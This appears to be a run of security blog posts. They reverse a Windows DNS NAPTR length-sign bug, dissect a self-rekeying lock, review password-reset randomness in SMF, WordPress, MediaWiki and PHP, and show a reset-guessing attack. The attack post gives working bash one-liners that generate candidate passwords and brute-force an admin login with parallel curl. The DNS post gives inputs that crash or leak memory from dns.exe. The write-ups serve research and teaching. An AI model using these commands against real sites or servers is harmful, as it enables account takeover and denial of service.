This way, the addresses in Windbg and IDA will match up properly. Now, go back to that movsx we were looking at earlier - it should now be at 0x00ed8b38 in the vulnerable version. Throw a breakpoint on that address in Windbg with 'bp' and start the process with 'g' (or press F5):

  > bp ed8b38
  > g

Then perform a lookup on the target server (in my case I'm doing this from a Linux host using the dig command, and my vulnerable DNS server is at 192.168.1.104):

  $ dig @192.168.1.104 -t NAPTR +time=60 test.com

(the +time=60 ensures that it doesn't time out right away)

In Windbg, the breakpoint should fire:

Now, recall that the vulnerable command is this:

  movsx edi, byte ptr [ebx]

So we'd naturally like to find out what's in ebx. We do this with the windbg command 'db ebx' (meaning display bytes at ebx):

Beautiful! ebx points to the length byte for 'flags'. In our case, we set the flags to the string 'flags', which is represented as the character string "\x05flags" (where "\x05" is the byte '5', the string's size). If we hit 'g' or press 'F5' again, it'll break a second time. This time, if you run 'db ebx' you'll see it sitting on "\x07service". If you hit F5 again, not surprisingly, you'll end up on "\x3ethis is a really really long ...". And finally, if you hit F5 one more time, the program will keep running and, if you did this in under 60 seconds, dig will get its response.

So what have we learned? The vulnerable call to movsx happens three times - on the one-byte size values of flags, service, and regex.

Let's break something!

All right, now that we know what's going on, this should be pretty easy to break! Yay! Let's try sending it a string that's over 0x80 bytes long:

        char *flags   = "AAAAAAAAAAAAAAAA"
                        "AAAAAAAAAAAAAAAA"
                        "AAAAAAAAAAAAAAAA"
                        "AAAAAAAAAAAAAAAA"
                        "AAAAAAAAAAAAAAAA"
                        "AAAAAAAAAAAAAAAA"
                        "AAAAAAAAAAAAAAAA"
                        "AAAAAAAAAAAAAAAA"
                        "AAAAAAAAAAAAAAAA";
        char *service  = "service";
        char *regex   = "regex";
        char *replace = "my.test.com";

Then compile it, start the service again, and send our NAPTR lookup with dig, exactly as before. Don't forget to clear your breakpoints in Windbg, too, using 'bc *' (breakpoint clear, all).

After the lookup, the dns.exe service should crash:

Woohoo! It crashed in a 'rep movs' call, which is in memcpy(). No surprise there, since we were expecting to pass a huge integer (0x90 became 0xFFFFFF90, which is around 4.2 billion) to a memcpy function.

If we check out edi (the destination of the copy), we'll find it's unallocated memory, which is what caused the crash. If we check out ecx, the size of the copy, we'll see that it's 0x3fffff6e - way too big:

Restart the DNS service, re-attach the debugger, and let's move on to something interesting...

The good part

Now we can crash the process. Kinda cool, but whatever. This is as far as others investigating this issue seemed to go. But, they missed something very important:

See there? Line 0x00ed8b3b? lea eax, [edi + 1]. edi is the size, and eax is the value passed to memcpy. See what's happening? It's adding 1 to the size! That means that if we pass a size of 0xFF ("-1" represented as one byte), it'll get extended to 0xFFFFFFFF ("-1" represented as 4 bytes), and then, on that line, eax becomes -1 + 1, or 0. Then the memcpy copies 0 bytes.

That's great, but what's that mean?

Let's reconfigure out NAPTR server again to return exactly 0xFF bytes:

        char *flags   = "QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ"
                        "QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ"
                        "QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ"
                        "QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ"
                        "QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ"
                        "QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ"
                        "QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ"
                        "QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ";
        char *service  = "service";
        char *regex   = "regex";
        char *replace = "my.test.com";

Then run it as before. This time, when we do our dig, the server doesn't crash! Instead, we get a weird response:

We get an answer back, but not a valid NAPTR answer! The answer has the flags of "\x03\x02my\x04test\x03com", but no service, regex, or replace. Weird!

Now, at this point, we have enough for a vulnerability check, but I wanted to go further, and to find out how exactly this was returning such a weird result (and, more importantly, whether we can assume that it'll be consistent)!

So, let's take a look at the vulnerable code again. Go back to NaptrPtrRead() and find the vulnerable movsx:

You can quickly see that this is a simple loop. var_10C is a counter set to 3, the size at [ebx] (the length of the flags) is read, that many bytes is copied from ebx (the incoming packet) to esi (the place where the answer is stored). Then the counter is decremented, and both the source and destination are moved forward by that many bytes plus one (for the length), and it repeats twice - once for service, and once for regex.

If we set the length of flags to 0xFF, then 0 bytes are copied and the source and destination don't change. So esi, the answer, remains an empty buffer.

Just below that, you'll see this:

The source and destination are the same as before, and they call a function called _Name_CopyCountName(). That's actually a fairly complicated function, and I didn't reverse it much. I just observed how it worked. One thing that was obvious is that it read the fourth and final string in the NAPTR record - the one called "replacement", which is a domain name rather than a length-prefixed string like the rest.

Essentially, it'd set esi to a string that looked like this:

the 0x0d at the start is obviously the length of the string; the 0x03 following is the number of fields coming ("my", "test", and "com" = 3 fields), and the rest of the string is the domain name formatted as it usually is - the size of each field followed by the field.

Another interesting note is, this is the exact value that the DNS request got earlier (minus the 0x0d at the start) - "\x03\x02my\x04test\x03com"!

At this point, I understood exactly what was happening. As we've seen, there are supposed to be four strings - flags, service, regex, and replacement. The first three are (character-string) values, and are all read the same way. The last one is a (domain-name) value, and is read using _Name_CopyCountName().

When we send a length of 0xFF, the first three strings don't get read - the buffer stays blank - and only the domain name is processed properly. Then, later, when the strings are sent back to the server, it expects the 'flags' value to be the first value in the buffer, but, because it read 0 bytes for flags, it skips flags and reads the 'replacement' value - the (domain-name) - as if it were flags. That gets returned and it reads the 'service', the 'regex', and the 'replacement' fields - all of which are blank.

The response is sent to the server with the 'flags' value set to the 'replacement' and everything else set to blank. Done?

The plot thickens

I thought I understood this vulnerability completely now. It was interesting, fairly trivial to check for, and impossible to exploit (beyond a denial of service). The perfect vulnerability! I wrote the Nessus check and tested it again Windows 2008 x86, Windows 2008 x64, and Windows 2008 R2 x64. Against Windows 2008 x64, the result was different - it was "\x03\x02my\x04test\x03com\x00\x00\x00\x00". That was weird. I tried changing the domain name from "my.test.com" to "my.test.com.a". It returned the string I expected. Then I set it to "my.test.com.a.b.c", and it returned a big block of memory including disk information (the drive c: label). Wtf? I tried a few more domain names, and none of them, including "my.test.com.a.b.c", returned anything unusual. I couldn't replicate it! Now I *knew* that something was up!

To demonstrate this reliably, I can set the 'replacement' value of the response to 'my.test.com.aaaaaaaaaaaaa' and get the proper response:

And then set it to 'my.test.com.aaaaaaa' and get a weird response:

Rather than just the simple string we usually get back, we got the simple string, the 7 'a' bytes that we added, then a null, then 11 more 'a' values and 0x59 "\x00" bytes. So, that's proof that something strange is happening, but what?

The investigation

If you head back to the NaprWireRead function and go to line 0xed8b61, you'll see the call to _Name_CopyCountName():

That's where the string is copied into the buffer - esi. What we want to do is track down where that value is read back out of the buffer, because there's obviously something gone amiss there. So, we put a breakpoint at 0xed8b66 - the line after the name is copied to memory - using the 'bp' command in Windbg:

Then we run it, and make a NAPTR request. It doesn't matter what the request is, this time - we just want to find out where the message is read. When it breaks, as shown above, we check what the value at esi is. As expected, it's the encoded 'replacement' string - the length, the number of fields, and the replacement (domain-name) value.

We run 'ba r4 esi' - this sets a breakpoint on access when esi (or the three bytes after esi) are read. Then we use 'g' or 'F5' to start the process once again.

Immediately, it'll break again - this time, at 0xed5935 - in NaptrWireWrite()! Since the packet is read in NaptrWireRead(), it makes sense that it's sent back out in NaptrWireWrite. Awesome!

The code powering NaptrWireWrite() is actually really simple. This is all the relevant code (don't worry too much about the colours - I just like colouring code as I figure things out :) ):

Here, it reads the length of the first field from [esi] - which, in our 'attack', is the length of the 'replacement' value, not the flags value like it ought to be. It uses memcpy to copy that into a buffer, using the user-controlled length. then it loops. The second time, it's going to read the null byte (\x00) that's immediately after the 'replacement' value. The third time, it's going to read the byte following that null byte. What's there? We'll get to that in a second.

Then, after it loops three times, it calls _Name_WriteCountNameToPacketEx(), passing it the remainder of the buffer. Again, what's that value?

Let's stick a breakpoint on 0xed5935 - the memcpy - and see what the three values are. First, for 'my.test.com.aaaaaaa':

As we can see, the first field is, as expected, the 'replacement' value - my.test.com.aaaaaaaaaaa. The second value is blank, and the third value is blank. The result is going to be the usual "\x03\x02my\x04test\x03com". No problem! Now let's do a lookup for "my.test.com.a":

The first one is, as usual, the 'replacement' value. The second memcpy starts with the 0x00 byte at the end, and copies 0 bytes. But the third one starts on 0x61 - that's one of the 'a' values from the previous packet! - and copies 0x61 bytes into the buffer. Then _Name_WriteCountNameToPacketEx() is called 0x61 bytes after on whatever happens to be there.

What's it all mean?

What's this mean? And why should we care?

Well, it turns out that this vulnerability, in spite of its original innocuous appearance, is actually very interesting. We can pass 100% user-controlled values into memcpy - unfortunately, it's a one-byte size value. Additionally, we can pass 100% user-controlled values into a complicated function that does a bunch of pointer arithmatic - _Name_WriteCountNameToPacketEx()! I reversed that full function, but I couldn't see any obvious points where I could gain control.

Given enough time and thought, though, I'm reasonably confident that you can turn this into a standard heap overflow. A heap overflow on Windows 2008 would be difficult to exploit, though. But there are some other quirks that may help - _Name_WriteCountNameToPacketEx() does some interesting operations, like collapsing matching domain names into pointers - 'c0 0c' will look familiar if you've ever worked with DNS before.

So, is this exploitable? I'm not sure. Is it definitely NOT exploitable? I wouldn't say so. When you can start passing user-controlled values into functions that expect tightly-controlled pointer values, that's when the fun starts. :)

Conclusion

I hope you were able to follow along, and I hope that the real exploit devs out there read this and can take it a step further. I'd be very interested in whether this vulnerability can be taken to the next level!

As I'm sure you all know, I normally post about IT security here. But, once in awhile, I like to take a look at physical security, even if it's just in jest.

Well, this time it isn't in jest. I was at Rona last week buying a lead/asbestos/mold-rated respirator (don't ask!), when I took a walk down the lock aisle. I'm tired of all my practice locks and was thinking of picking up something interesting. Then I saw it: a lock that advertised that it could re-key itself to any key. Woah! I had to play with it.

Now, maybe I'm an idiot (in fact, my best friends would swear it). But I hadn't ever heard of a lock that can do that before! So I did the obvious thing: I bought it, took it apart, figured out how it worked, then took pictures of everything.

How it's used

So, in normal use, this is what you do.

When you take it out of the package, it looks like a normal lock with an extra little hole in the side:

You stick in the proper key, turn it a 1/4 turn (so the key is horizontal), as shown here:

Then, in the little hole, you use the special "re-key" tool that it comes with:

Once the tool's been inserted, you can pull out the key:

At this point, the lock is in "re-key mode". I'll talk about how it works later, but you can now insert any key that matches the warding:

Turn it back to the original position:

And remove it:

Congratulations! The lock is now keyed to the new key instead of the old key. How the hell did that happen!?

Vocabulary

Just some quick definitions to help you follow (I'm stealing phrases from normal locks that shouldn't really apply to this one, but it's convenient):

Key pins are the pins that touch the key

Driver pins are the pins (in this case, with a saw-tooth) that don't touch the key

Key cylinder is the half of the cylinder that you insert the key into (and that houses the key pins)

Loose cylinder is the other half of the cylinder that I couldn't think of a good name for

The bar is an oddly shaped metal bar that fits into the loose cylinder.

How it works

Naturally, the next thing I did was take the lock apart. As soon as I removed a couple bits that held it together, the whole cylinder slid out, fell on my desk, and all the little pieces went everywhere. An hour later, I got it re-assembled and working again, and this is what it looked like:

Don't forget, you can click on the pictures for a bigger version!

Anyway, there are actually two half-cylinders (that I'm calling the key cylinder and the loose cylinder) held together by simply being in the lock, plus the bar across the back of one, 5 loose driver pins on the inside, and 5 key pins that can't easily be removed.

In that picture, there are two important details that I called out. First, the slot in the bottom of the loose cylinder fits into the '- - - - -' on the key cylinder. Second, the jagged part of the driver pins fits on a little hook on the key pins. Those two facts are important both for the re-key and the locking.

Here's a closeup of what I'm calling the driver pins:

Note that they have two grooves, one on the front and one on the back (for the purposes of the narrative, the front is on the right). The groove on the front, as we saw earlier, fits into the '- - - - -' pattern on the key cylinder. The groove on the back fits into the bar, shown above, that goes onto the back of the loose cylinder.

Re-keying

So let's look at how the re-key mechanism work!

First, recall that the driver pins have a groove that fits into a '- - - - -' on the lock:

In normal use, these pins freely move up and down beside the '-' marks. They're pulled up and down by the little hooks on the key pins. When the proper key is inserted, the grooves on all five pins will line up with (but DON'T hook onto) the five '-' marks:

Then the re-key tool is inserted:

This slides the groove on the driver pins onto the '-' marks. Not that this cannot happen if the key is the wrong one. That's an important part of the security. Here's what it looks like if the loose cylinder is removed (I only did two pins because setting this up is like balancing a coin on its side):

When you remove the key, the driver pins will rest in the "good" position - that is, in the position that lets the cylinder rotate and that lets it be re-keyed - thanks to the grooves they're now sitting on. The key pins, which are no longer hooked on the driver pins, will return to their original positions.

When you insert a new key, the key pins will return to a new position while the driver pins are still in the "good" position (that lets you re-key/unlock).

When you turn the key back, the driver pins will come off the '-' marks and wind up back on the key pins' grooves. But the location of the driver pins has changed - the key that lines up all the grooves is now the new key, not the old one!

This design is, in my opinion, brilliant! It's pretty straight forward, now, to see how it locks.

Locking

Now that we know how the pins work, as I said, the locking is actually pretty straight forward. Remember that bar along the back of the removable cylinder we saw earlier?

Well, that's the key (ha!) to this whole thing.

Basically, when no key or the wrong key is inserted, it stays locked in position jutting out from the cylinder:

When the proper key is inserted, it can be pushed back in:

This is because of the groove on the backs of the pins. The bar rests on the pins but can only be pushed in when the five grooves of the five pins are in the proper place.

And that's it!

Security

Based on what I've seen, it appears that these locks can likely be picked in two different ways. The standard way, using a tension wrench, has several issues:

• It's difficult to get the pick into the keyway due to the warding
• Every pin is grooved along the back so it sets improperly all over the place
• Because the key pins pull up the driver pins, you don't get the same feeling when the pins are setting

I had another idea for picking, though, that I don't have the right tool to accomplish. The standard way is to turn the cylinder and rely on it causing the bar along the back to put pressure on the pins, but the pins have a sawtooth along the back to set falsely. That's difficult. However, if we put tension on the re-key hole, then we're pushing the pins towards the back of the lock onto the '- - - - -' lines. There's no security on the sides of the pin, so, in theory, it should pick a whole lot easier. And, once you've picked it, you'll be able to re-key and never pick it again. BAM!

Unfortunately, you need a thin tool that can maintain a constant pressure, and I can't think of anything like that. Any ideas?

Hope you enjoyed this somewhat non-standard posting!

This is part 3 to my 2-part series on password reset attacks (Part 1 / Part 2). Overall, I got awesome feedback on the first two parts, but I got the same question over and over: what's the RIGHT way to do this?

So, here's the thing. I like to break stuff, but I generally leave the fixing to somebody else. It's just safer that way, since I'm not really a developer or anything like that. Instead, I'm going to continue the trend of looking at others' implementations by looking at three major opensource projects - WordPress, SMF, and MediaWiki. Then, since all of these rely on PHP's random number implementation to some extent, I'll take a brief look at PHP.

SMF

SMF 1.1.13 implements the password-reset function in Sources/Subs-Auth.php:

  // Generate a random password.
  require_once($sourcedir . '/Subs-Members.php');
  $newPassword = generateValidationCode();
  $newPassword_sha1 = sha1(strtolower($user) . $newPassword);

Looking at Sources/Subs-Members.php, we find:

// Generate a random validation code.
function generateValidationCode()
{
  global $modSettings;

  $request = db_query('
    SELECT RAND()', __FILE__, __LINE__);

  list ($dbRand) = mysql_fetch_row($request);
  mysql_free_result($request);

  return substr(preg_replace('/\W/', '', sha1(microtime() . mt_rand() . $dbRand .
      $modSettings['rand_seed'])), 0, 10);
}

Which is pretty straight forward, but also, in my opinion, very strong. It takes entropy from a bunch of different places:

• The current time (microtime())
• PHP's random number generator (mt_rand())
• MySQL's random number generator ($dbRand)
• A user-configurable random seed

Essentially, it puts these difficult-to-guess values through a cryptographically secure function, sha1(), and takes the first 10 characters of the hash.

The hash consists of lowercase letters and numbers, which means there are 36 possible choices for 10 characters, for a total of 36¹⁰ or 3,656,158,440,062,976 possible outputs. That isn't as strong as it *could* be, since there's no reason to limit its length to 10 characters (or its character set to 36 characters). That being said, three quadrillion different passwords would be nearly impossible to guess. (By my math, exhaustively cracking all possible passwords, assuming md5 cracks at 5 million guesses/second, would take about 23 CPU-years). Not that cracking is terribly useful - remote bruteforce guessing is much more useful and is clearly impossible.

SMF is my favourite implementation of the three, but let's take a look at WordPress!

WordPress

WordPress 3.1 implements the password-reset function in wp-login.php:

  $key = $wpdb->get_var($wpdb->prepare("SELECT user_activation_key FROM
      $wpdb->users WHERE user_login = %s", $user_login));
  if ( empty($key) ) {
    // Generate something random for a key...
    $key = wp_generate_password(20, false);
    do_action('retrieve_password_key', $user_login, $key);
    // Now insert the new md5 key into the db
    $wpdb->update($wpdb->users, array('user_activation_key' => $key),
      array('user_login' => $user_login));
  }

wp_generate_password() is found in wp-includes/pluggable.php:

/**
 * Generates a random password drawn from the defined set of characters.
 *
 * @since 2.5
 *
 * @param int $length The length of password to generate
 * @param bool $special_chars Whether to include standard special characters.
      Default true.
 * @param bool $extra_special_chars Whether to include other special characters.
 *   Used when generating secret keys and salts. Default false.
 * @return string The random password
 **/
function wp_generate_password( $length = 12, $special_chars = true, $
      extra_special_chars = false ) {
  $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
  if ( $special_chars )
    $chars .= '!@#$%^&*()';
  if ( $extra_special_chars )
    $chars .= '-_ []{}<>~`+=,.;:/?|';

  $password = '';
  for ( $i = 0; $i < $length; $i++ ) {
    $password .= substr($chars, wp_rand(0, strlen($chars) - 1), 1);
  }

  // random_password filter was previously in random_password function which was
      deprecated
  return apply_filters('random_password', $password);
}

This generates a string of random characters (and possibly symbols) up to a defined length, choosing the characters using wp_rand(). So, for the final step, how is wp_rand() implemented? It's also found in wp-includes/pluggable.php and looks like this:

  global $rnd_value;

  // Reset $rnd_value after 14 uses
  // 32(md5) + 40(sha1) + 40(sha1) / 8 = 14 random numbers from $rnd_value
  if ( strlen($rnd_value) < 8 ) {
    if ( defined( 'WP_SETUP_CONFIG' ) )
      static $seed = '';
    else
      $seed = get_transient('random_seed');
    $rnd_value = md5( uniqid(microtime() . mt_rand(), true ) . $seed );
    $rnd_value .= sha1($rnd_value);
    $rnd_value .= sha1($rnd_value . $seed);
    $seed = md5($seed . $rnd_value);
    if ( ! defined( 'WP_SETUP_CONFIG' ) )
      set_transient('random_seed', $seed);
  }

  // Take the first 8 digits for our value
  $value = substr($rnd_value, 0, 8);

  // Strip the first eight, leaving the remainder for the next call to wp_rand().
  $rnd_value = substr($rnd_value, 8);

  $value = abs(hexdec($value));

  // Reduce the value to be within the min - max range
  // 4294967295 = 0xffffffff = max random number
  if ( $max != 0 )
    $value = $min + (($max - $min + 1) * ($value / (4294967295 + 1)));

  return abs(intval($value));
}

This is quite complex for generating a number! But the points of interest are:

• Hashing functions (sha1 and md5) are used, which are going to be a lot slower than a standard generator, but they, at least in theory, have cryptographic strength
• The random number is seeded with microtime() and mt_rand(), which is PHP's "advanced" randomization function)
• The random number is restricted to 0 - 0xFFFFFFFF, which is pretty typical

In practice, due to the multiple seeds with difficult-to-predict values and the use of a hashing function to generate strong random numbers, this seems to be a good implementation of a password reset. My biggest concern is the complexity - using multiple hashing algorithms and hashing in odd ways (like hasing the value alone, then the hash with the seed). It has the feeling of being unsure what to do, so trying to do everything 'just in case'. While I don't expect to find any weaknesses in the implementation, it's a little concerning.

Now, let's take a look at my least favourite (although still reasonably strong) password-reset implementation: MediaWiki!

MediaWiki

MediaWiki 1.16.2 was actually the most difficult to find the password reset function in. Eventually, though, I managed to track it down to includes/specials/SpecialUserlogin.php:

    $np = $u->randomPassword();
    $u->setNewpassword( $np, $throttle );
    $u->saveSettings();
    $userLanguage = $u->getOption( 'language' );
    $m = wfMsgExt( $emailText, array( 'parsemag', 'language' => $userLanguage ),
      $ip, $u->getName(), $np,
        $wgServer . $wgScript, round( $wgNewPasswordExpiry / 86400 ) );
    $result = $u->sendMail( wfMsgExt( $emailTitle, array( 'parsemag',
      'language' => $userLanguage ) ), $m );

$u->randomPassword() is found in includes/User.php looks like this:

  /**
   * Return a random password. Sourced from mt_rand, so it's not particularly secure.
   * @todo hash random numbers to improve security, like generateToken()
   *
   * @return \string New random password
   */
  static function randomPassword() {
    global $wgMinimalPasswordLength;
    $pwchars = 'ABCDEFGHJKLMNPQRSTUVWXYZabcdefghjkmnpqrstuvwxyz';
    $l = strlen( $pwchars ) - 1;

    $pwlength = max( 7, $wgMinimalPasswordLength );
    $digit = mt_rand( 0, $pwlength - 1 );
    $np = '';
    for ( $i = 0; $i < $pwlength; $i++ ) {
      $np .= $i == $digit ? chr( mt_rand( 48, 57 ) ) : $pwchars{ mt_rand( 0, $l ) };
    }
    return $np;
  }

This is easily the most complex, and also most dangerous, password-reset implementation that I've found.

First, the length is only 7 characters by default. That's already an issue.

Second, the set of characters is letters (uppercase + lowercase) and exactly one number. And it looks to me like they put a lot of effort into figuring out just how to put that one number into the password. Initially, I thought this made the password slightly weaker due to the following calculations:

• 7 characters @ 52 choices = 52⁷ = 1,028,071,702,528
• 6 characters @ 52 choices + 1 character @ 10 choices = 52⁶ * 10 = 197,706,096,640

However, as my friend pointed out, because you don't know where, exactly, the number will be placed, that actually adds an extra multiplier to the strength:

• 6 characters @ 52 choices + 1 characters @ 10 choices + unknown number location = 52⁶ * 10 * 7 = 1,383,942,676,480

So, in reality, adding a single number does improve the strength, but only by a bit.

Even with the extra number, though, the best we have at 7 characters is about 1.4 trillion choices. As with the others, that's essentially impossible to guess/bruteforce remotely. That's a good thing. However, with a password cracker and 5 million checks/second, it would take a little over 3.2 CPU-days to exhaustively crack all generated passwords, so that can very easily be achieved.

The other issue here is that the only source of entropy is PHP's mt_rand() function. The next section will look at how PHP seeds this function.

PHP

All three of these implementations depend, in one way or another, on PHP's mt_rand() function. The obvious question is, how strong is mt_rand()?

I'm only going to look at this from a high level for now. When I have some more time, I'm hoping to dig deeper into this and, with luck, bust it wide open. Stay tuned for that. :)

For now, though, let's look at the function that's used by all three password-reset functions: mt_rand(). mt_rand() is an implementation of the Mersenne Twister algorithm, which is a well tested random number generator with an advertised average period of 2¹⁹⁹³⁷-1. That means that it won't repeat until 2¹⁹⁹³⁷-1 values are generated. I don't personally have the skills to analyze the strength of the algorithm itself, but what I CAN look at is the seed.

Whether using rand() or mt_rand(), PHP automatically seeds the random number generator. The code is in ext/standard/rand.c, and looks like this:

PHPAPI long php_rand(TSRMLS_D)
{
    long ret;

    if (!BG(rand_is_seeded)) {
        php_srand(GENERATE_SEED() TSRMLS_CC);
    }
    // ...
}

Simple enough - if rand() is called without a seed, then seed it with the GENERATE_SEED() macro, which is found in ext/standard/php_rand.h:

#ifdef PHP_WIN32
#define GENERATE_SEED() (((long) (time(0) * GetCurrentProcessId())) ^ 
     ((long)(1000000.0 * php_combined_lcg(TSRMLS_C))))
#else
#define GENERATE_SEED() (((long) (time(0) * getpid())) ^ 
     ((long) (1000000.0 * php_combined_lcg(TSRMLS_C))))
#endif

So it's seeded with the current time() (known), process id (weak), and php_combined_lcg(). What the heck is php_combined_lcg? Well, an LCG is a Linear Congruential Generator, a type of random number generator, and it's defined at ext/standard/lcg.c so let's take a look:

PHPAPI double php_combined_lcg(TSRMLS_D) /* {{{ */
{
    php_int32 q;
    php_int32 z;

    if (!LCG(seeded)) {
        lcg_seed(TSRMLS_C);
    }

    MODMULT(53668, 40014, 12211, 2147483563L, LCG(s1));
    MODMULT(52774, 40692, 3791, 2147483399L, LCG(s2));

    z = LCG(s1) - LCG(s2);
    if (z < 1) {
        z += 2147483562;
    }

    return z * 4.656613e-10;
}

This function also needs to be seeded! It's pretty funny to seed a random number generator with another random number generator - what, exactly, does that improve?

Here is what lcg_seed(), in the same file, looks like:

static void lcg_seed(TSRMLS_D) /* {{{ */
{
    struct timeval tv;

    if (gettimeofday(&tv, NULL) == 0) {
        LCG(s1) = tv.tv_sec ^ (tv.tv_usec<<11);
    } else {
        LCG(s1) = 1;
    }
#ifdef ZTS
    LCG(s2) = (long) tsrm_thread_id();
#else 
    LCG(s2) = (long) getpid();
#endif

    /* Add entropy to s2 by calling gettimeofday() again */
    if (gettimeofday(&tv, NULL) == 0) {
        LCG(s2) ^= (tv.tv_usec<<11);
    }

    LCG(seeded) = 1;
}

This is seeded with the current time (known), the process id (weak), and the current time again (still known).

So to summarize, unless I'm missing something, PHP's automatic seeding uses the following for entropy:

• Current time (known value)
• Process ID (predictable range)
• php_combined_lcg
• Current time (again)
• Process id (again)
• Current time (yet again)

I haven't done any further research into PHP's random number generator, but from what I've seen I don't get a good feeling about it. It would be interesting if somebody took this a step further and actually wrote an attack against PHP's random number implementation. That, or discovered a source of entropy that I was unaware of. Because, from the code I've looked at, it looks like there may be some problems.

An additional issue is that every seed generated is cast to a (long), which is 32-bits. That means that at the very most, despite the ridiculously long period of the mt_rand() function, there are only 4.2 billion possible seeds. That means, at the very best, an application that relies entirely on mt_rand() or rand() for their randomness are going to be a lot less random than they think!

It turns out, after a little research, I'm not the only one who's noticed problems with PHP's random functions. In fact, in that article, Stefan goes over a history of PHP's random number issues. It turns out, what I've found is only the tip of the iceberg!

Observations

I hope the last three blogs have raised some awareness on how randomization can be used and abused. It turns out, using randomness is far more complex than people realize. First, you have to know how to use it properly; otherwise, you've already lost. Second, you have to consider how you're generating the it in the first place.

It seems that the vast majority of applications make either one mistake or the other. It's difficult to create "good" randomness, though, and I think the one that does the best job is actually SMF.

Recommendation

Here is what I would suggest:

• Get your randomness from multiple sources
• Save a good random seed between sessions (eg, save the last output of the random number generator to the database)
• Use cryptographically secure functions for random generation (for example, hashing functions)
• Don't limit your seeds to 32-bit values
• Collect entropy in the application, if possible (what happens in your application that is impossible to guess/detect/force but that can accumulate?)

I'm sure there are some other great suggestions for ensuring your random numbers are cryptographically secure, and I've love to hear them!

In my last post, I showed how we could guess the output of a password-reset function with a million states. While doing research for that, I stumbled across some software that had a mere 16,000 states. I will show how to fully compromise this software package remotely using the password reset.

The code

First, let's take a look at the code:

<?php
  if (strtolower($cfgrow['email'])==strtolower($_POST['reminderemail']))
  {
    // generate a random new pass
    $user_pass = substr( MD5('time' . rand(1, 16000)), 0, 6);
    $query = "update config set password=MD5('$user_pass') where [...]"
    if(mysql_query($query))
    {
       // ...
?>

The vulnerability

The vulnerability lies in the password generation:

    $user_pass = substr( MD5('time' . rand(1, 16000)), 0, 6);

The new password generated is the md5() of the literal string 'time' (*not* the current time, the *word* "time") concatenated with one of 16,000 random numbers, then truncated to 6 bytes. We can very easily generate the complete password list on the commandline:

$ seq 1 16000 | xargs -I XXX sh -c "echo timeXXX | md5sum | cut -b1-6"

or, another way:

$ for i in `seq 1 16000`; do echo "time$i" | md5sum | cut -b1-6

(By the way, for more information on using xargs, check out a really awesome blog posting called Taco Bell Programming - it's like real programming, but you can't legally call it "beef")

In either case, you'll wind up with 16,000 different passwords in a file. If you want to speed up the eventual bruteforce, you can eliminate collisions:

$ seq 1 16000 | xargs -I XXX sh -c "echo XXX | md5sum | cut -b1-6" | sort | uniq

If you do that, you'll wind up with 15,993 different passwords, ranging from '000b64' to 'fffcc0'. Now all that's left is to try these 15,993 passwords against the site!

The attack

You can do this attack any number of ways. You can script up some Perl/Ruby/PHP, you can use a scanner like Burp Suite, or, if you're feeling really adventurous, you can write a quick config file for http-enum.nse. If anybody takes the time to replicate this with http-enum.nse, you'll win an Internet from me. I promise.

But why bother with all these complicated pieces of software when we have bash handy? All we need to do is try all 15,993 passwords using wget/curl/etc and look for the one page that's different. Done!

So, to download a single page, we'd use:

$ curl -s -o XXX.out -d "user=admin&password=XXX" <site>/admin/?x=login

This will create a file called XXX.out on the filesystem, which is the output from a login attempt with the password XXX. Now we use xargs to do that for every password:

$ cat passwords.txt | xargs -P32 -I XXX curl -s -o XXX.out \
  -d "user=admin&password=XXX" <site>/admin/?x=login

Which will, in 32 parallel processes, attempt to log in with each password and write the result to a file named <password>.out. Now all we have to do figure out which one's different! After waiting for it to finish (or not.. it takes about 5-10 minutes), I check the folder:

$ md5sum *.out | head
96ffbb1ba380de9fc9e7a3fe316ff631  000176.out
96ffbb1ba380de9fc9e7a3fe316ff631  0014c2.out
96ffbb1ba380de9fc9e7a3fe316ff631  001e7e.out
96ffbb1ba380de9fc9e7a3fe316ff631  002035.out
96ffbb1ba380de9fc9e7a3fe316ff631  00217c.out
96ffbb1ba380de9fc9e7a3fe316ff631  002c47.out
96ffbb1ba380de9fc9e7a3fe316ff631  003b9e.out
96ffbb1ba380de9fc9e7a3fe316ff631  004bff.out
96ffbb1ba380de9fc9e7a3fe316ff631  0057b8.out
96ffbb1ba380de9fc9e7a3fe316ff631  008dea.out

Sure enough, it's tried all the passwords and they all seemed to download the same page! Now we use grep -v to find the one and only download that's different:

$ md5sum *.out | grep -v 96ffbb1ba380de9fc9e7a3fe316ff631
d41d8cd98f00b204e9800998ecf8427e  b19261.out

And bam! We now know the password is "b19261".

Conclusion

So there you have it - abusing a password reset to log into an account you shouldn't. And remember, even though we didn't test this with 1,000,000 possible passwords like last week's blog, it would only take about 60 times as long - so instead of a few minutes, it'd be a few hours. And as I said last week, that million-password reset form was actually pretty common.

And in case you think this is hocus pocus or whatever, I wrote the code shown here live, on stage, at Winnipeg Code Camp. It's towards the end of my talk.

This is part one of a two-part blog on password resets. For anybody who saw my talk (or watched the video) from Winnipeg Code Camp, some of this will be old news (but hopefully still interesting!)

For this first part, I'm going to take a closer look at some very common (and very flawed) code that I've seen in on a major "snippit" site and contained in at least 5-6 different applications (out of 20 or so that I reviewed). The second blog will focus on a single application that does something much worse.

Password reset?

First off, what is a password reset? You probably know this already, so feel free to skip to the next section for the good stuff.

Many sites offer a feature for users who forgot their passwords. They click a link, and it sends them a temporary password (or, for some sites, it changes their site password to a temporary password, effectively locking out the user till they check their email).

These generally work by generating a one-time password/token/etc, and emailing it to the address on record. The legitimate user receives the email, and clicks the link/uses the temp password/etc to log back into their account, at which point they ought to (or are forced to) change their password.

Some reset schemes require the user to answer their "secret questions", which often involves knowing information that nobody else (except Facebook) knows. I'm not a fan of the "secret question" and "secret answer" strategy myself, and they were torn apart by experts after Sarah Palin's email was compromised, so we aren't going to talk about them.

It is widely known that passwords are the weakest point in most security systems. Well, as it turns out, password resets are often the weakest point in password schemes. No matter how good your password policies, login procedures, etc are, a bad password reset can compromise an entire system. Here's a few ways:

• Poorly chosen random passwords (that's what this post is about)
• Poorly validated email addresses (can I reset the password to *my* address?)
• Relying entirely on secret questions/answers (Palin hack)
• Not extending brute-force protection (or logging) to the reset tokens

